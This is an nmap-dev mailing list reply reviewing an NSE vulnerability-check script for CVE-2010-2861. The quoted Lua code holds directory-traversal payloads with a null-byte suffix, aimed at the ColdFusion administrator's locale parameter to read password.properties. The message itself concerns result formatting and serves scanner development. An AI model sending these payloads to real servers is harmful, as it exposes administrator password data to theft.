Re: NSE: http-vuln-cve2010-2861 submission for review

[Djalal Harouni <tixxdz () opendz org>]

On Fri, Feb 17, 2012 at 12:22:49PM +0100, Djalal Harouni wrote:
> > local exploits = {
> > ['CFusionMX'] =
> > '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX\\lib\\password.properties\%00en',
> >  ['CFusionMX7'] =
> >  '..\\..\\..\\..\\..\\..\\..\\..\\CFusionMX7\\lib\\password.properties\%00en',
> > ['ColdFusion8'] =
> > '..\\..\\..\\..\\..\\..\\..\\..\\ColdFusion8\\lib\\password.properties\%00en',
> >  ['JRun4\\servers'] =
> > '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\JRun4\\servers\\cfusion\\cfusion-ear\\cfusion-war\\WEB-INF\\cfusion\\lib\\password.properties\%00en',
> >  }
> >
> > local results = tab.new(2)
> > for prod, exploit in pairs(exploits) do
> >  local status, result =
> > grabAndGrep('/CFIDE/administrator/enter.cfm?locale=' .. exploit)
> > if ( status or ( not(status) and nmap.verbosity() > 1 ) ) then
> >  tab.addrow(results, prod, result)
> > end
> > end
> >  vuln.extra_info="\n" .. tab.dump(results)
> For the extra info no need to use tab, just use a classic table:
>    vuln.extra_info=table_results
>
> BTW these can be put in the: vuln.exploit_results table.
Just to note that vuln.exploit_results and vuln.extra_info are lists and
not tables, sorry for this. And you can insert '\n' for separation.

Thanks.

-- 
tixxdz
http://opendz.org
_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev
Archived at http://seclists.org/nmap-dev/